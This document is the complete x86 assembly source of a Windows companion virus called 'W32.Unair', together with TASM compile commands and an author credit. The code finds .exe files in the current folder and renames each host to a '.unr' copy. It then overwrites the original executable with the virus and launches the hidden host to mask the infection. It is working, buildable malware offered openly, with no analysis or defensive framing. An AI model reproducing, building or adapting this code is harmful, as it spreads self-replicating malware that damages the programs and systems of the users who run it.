; W32.Unair version 1.0 (beta tester)
; 
; Runtime simple w32 virus(exe companion),One file per/runs.(Tester version)
 
; 
; Note :
; No Binary added, it means that You take all responsible if you did
; something stupid with it.

; [ Compiling ] 
; Tasm5 :
; TASM32 /z /ml /m3 Unair,,;
; TLINK32 -Tpe -c -aa Unair,Unair,, import32.lib

;  [Created on 14.09.2003 By Puppy/H2o]

.386
.model flat
jumps

	extrn GetCommandLineA:PROC
	extrn lstrcpyA:PROC
	extrn FindFirstFileA:PROC
	extrn FindNextFileA:PROC
	extrn CopyFileA:PROC
	extrn CreateProcessA:PROC
	extrn GetWindowsDirectoryA:PROC
	extrn SetCurrentDirectoryA:PROC
	extrn ExitProcess:PROC

.data
FILETIME        STRUC
FT_dwLowDateTime    dd ?
FT_dwHighDateTime   dd ?
FILETIME        ENDS

WIN32_FIND_DATA          label    byte
 WFD_dwFileAttributes    dd       ?
 WFD_ftCreationTime      FILETIME ?
 WFD_ftLastAccessTime    FILETIME ?
 WFD_ftLastWriteTime     FILETIME ?
 WFD_nFileSizeHigh       dd       ?
 WFD_nFileSizeLow        dd       ?
 WFD_dwReserved0         dd       ?
 WFD_dwReserved1         dd       ?
 WFD_szFileName          db       260d dup (?)

 WFD_szAlternateFileName db       13   dup (?)
 WFD_szAlternateEnding   db       03   dup (?)

	VirusFile       db 260d dup (0)
	HostFile        db 260d dup (0)
	HostCopy        db 260d dup (0)
	WindowsFolder   db 260d dup (0)

	FileCounter     db 1d
	FileMask        db '*.exe',0
	FindHandle      dd 0
	ProcessInfo     dd 4 dup (0)
	StartupInfo     dd 4 dup (0)

.code
Unair:
call GetCommandLineA

inc eax
push eax
push offset VirusFile
call lstrcpyA

mov esi,offset VirusFile
call GetPoint
mov dword ptr [esi+4],00000000d


push offset VirusFile
push offset HostFile
call lstrcpyA

mov esi,offset HostFile
call GetPoint
mov dword ptr [esi],'unr.'

call InfectFolder

xor eax,eax
push offset ProcessInfo
push offset StartupInfo
push eax
push eax
push 00000010h
push eax
push eax
push eax
push offset HostFile
push offset HostFile
call CreateProcessA

ExitVirus:
push 0
call ExitProcess

GetPoint:
cmp byte ptr [esi],'.'
jz FoundPoint
inc esi
jmp GetPoint
FoundPoint:
ret

InfectFolder:
push offset WIN32_FIND_DATA
push offset FileMask
call FindFirstFileA
mov dword ptr [FindHandle],eax

FindNext:
test eax,eax
jz InfDone

push offset WFD_szFileName
push offset HostCopy
call lstrcpyA

mov esi,offset HostCopy
call GetPoint
mov dword ptr [esi],'unr.'

push 1
push offset HostCopy
push offset WFD_szFileName
call CopyFileA

test eax,eax
jz FindNextPhile

push 0
push offset WFD_szFileName
push offset VirusFile
call CopyFileA

dec byte ptr [FileCounter]
cmp byte ptr [FileCounter],0
jz ExitVirus

FindNextPhile:
push offset WIN32_FIND_DATA
push dword ptr [FindHandle]
call FindNextFileA
jmp FindNext

InfDone:
ret
end Unair